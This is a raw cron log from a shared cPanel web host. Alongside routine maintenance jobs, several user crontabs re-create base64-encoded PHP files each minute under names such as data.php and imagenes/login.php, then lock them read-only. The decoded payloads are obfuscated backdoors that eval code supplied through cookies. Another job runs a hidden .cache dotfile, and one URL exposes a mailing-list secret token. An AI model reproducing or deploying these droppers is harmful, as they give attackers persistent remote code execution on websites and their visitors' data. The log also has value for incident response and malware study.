Mar  2 13:32:02 medusa CROND[25116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:32:02 medusa CROND[25119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:32:02 medusa CROND[25125]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:33:01 medusa CROND[7840]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:33:01 medusa CROND[8012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:33:02 medusa CROND[8190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:33:02 medusa CROND[8191]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:33:02 medusa CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:33:02 medusa CROND[8195]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:33:02 medusa CROND[8198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:33:02 medusa CROND[8200]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:33:02 medusa CROND[8204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:33:02 medusa CROND[8207]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:33:02 medusa CROND[8212]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:33:02 medusa CROND[8215]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:34:01 medusa CROND[26367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:34:01 medusa CROND[26454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:34:01 medusa CROND[26659]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:34:01 medusa CROND[26660]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:34:01 medusa CROND[26661]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:34:01 medusa CROND[26666]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:34:01 medusa CROND[26667]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:34:01 medusa CROND[26668]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:34:01 medusa CROND[26669]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:34:01 medusa CROND[26670]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:34:01 medusa CROND[26671]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:34:01 medusa CROND[26674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:34:01 medusa CROND[26665]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:35:01 medusa CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 13:35:01 medusa CROND[13915]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:35:01 medusa CROND[14203]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:35:01 medusa CROND[14208]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14209]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:35:01 medusa CROND[14210]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:35:01 medusa CROND[14211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:35:01 medusa CROND[14212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:35:01 medusa CROND[14220]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:35:01 medusa CROND[14219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:35:01 medusa CROND[14234]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
